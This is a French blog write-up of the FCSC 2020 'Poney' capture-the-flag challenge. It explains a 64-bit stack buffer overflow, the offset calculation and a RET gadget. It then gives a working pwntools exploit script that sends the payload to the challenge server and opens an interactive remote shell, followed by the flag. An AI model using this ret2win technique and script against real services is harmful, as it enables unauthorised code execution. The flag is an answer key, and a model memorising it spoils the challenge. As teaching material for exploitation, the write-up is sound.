Les chatons ont la réponse – FCSC 2020 // Poney


Intro

Bon, mis à part que le titre me fait remonter de grands souvenirs au sein de la spirit-lan, nous avons un petit challenge en reverse.

Give me the correct input, and I will give you a shell :

Oh, vraiment ? Juste cela ? C’est trop beau pour être vrai ! Que nous dit radare2 ? Il dit que le gateau est un mensonge ! C’est un peu plus qu’une entrée correcte qu’il nous faut, et nous allons voir cela ensemble.

Zone 49, Mai 2020, autopsie du poney

Dr bouchard, Dr bouchard, il y a plein de couleurs !!!!!

Que voyons-nous, dans la fonction main, nous avons deux affichages de strings (en 400691 et 40069d) et la récupération de l’input utilisateur en 4006ae. Pour le moment, je ne vois pas d’appel vers la fonction qui lancera le shell. Vous savez ce que cela veux dire ? Que l’on se rapproche d’un buffer overflow avec exécution de code.

SHIELD WALL !!!!!!!

Expliquons rapidement le buffer overflow, le principe est de dépasser la capacité du buffer qui récupère notre entrée, et de forcer le logiciel hôte à exécuter une commande qui n’était pas prévue à la base (calc.exe, un code malveillant, un accès shell, …).
Comment trouvons-nous la taille du buffer ? Dans notre cas elle est initialisée au début du main :
; var int64_t var_20h @ rbp-0x20
Nous savons que nous sommes sur une application 64 bits, donc les registres seront sur 8 bits (au lieu de 4 en 32 bits), et que le buffer est initialisé pour accueillir 0x20 caractères ( 32 caractères en décimal).
Donc, si on dépasse les 0x28 caractères, on dépasse le tampon, et nous arrivons dans la zone critique. Cela se voit quand l’application vous renvoit l’erreur suivante :

Maintenant que nous savons comment briser les pattes du poney, il est temps de lui en mettre des bioniques. Le principe est d’appeler la fonction dont nous avons besoin, dans notre cas shell, et une fois dedans, nous aurons gagné.
Afin d’avoir notre code clean et d’éviter des pannes aléatoires, nous allons utiliser un RET comme un gadget afin de nettoyer les registres, pas besoin d’inventer la poudre ou de compiler un OS, nous allons récupérer ceux déjà en place :

la fonction shell, où nous allons emprunter le RET et son entrypoint

Exploit.py

import re
import socket
from pwn import *

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shell = "challenges1.france-cybersecurity-challenge.fr"
port = 4000
retAddr = 0x004006db
shellAddr = 0x00400676
overflow = cyclic(0x20+8)
payload = overflow+p64(retAddr)+p64(shellAddr)

def SockClose():
    print("[*] Goodbye Mr Bond !")
    s.close()
    input()

def SockOpen():
    s.connect((shell,port))
    Exploit()

def Exploit():
    print("[*] Doing Black Magic")
    r = s.recv(1024)
    print(r)
    while ">>>" not in str(r):
        print("[?] Waiting for >>>")
        r = s.recv(1024)
        print(r)
    print("[!] Sending\n%s" % hexdump(payload))
    s.send("%s \n"% payload)
    print("[!] Payload Send")
    while 1:
        cmd = raw_input("(EvilCat-Shell)$ ")
        s.send("%s \n"% cmd)
        r = s.recv(1024)
        if not len(r):
            print("[!] DeadShell")

        print(r)

try:
    SockOpen()
except:
    print("[!] Exploit Error")
finally:
    SockClose()

don’t laugh at meeow

Le contrat est rempli, nous avons un shell, et notre flag !

FCSC{725dd45f9c98099bcca6e9922beda74d381af1145dfce3b933512a380a356acf}


Laisser un commentaire

Ce site utilise Akismet pour réduire les indésirables. En savoir plus sur comment les données de vos commentaires sont utilisées.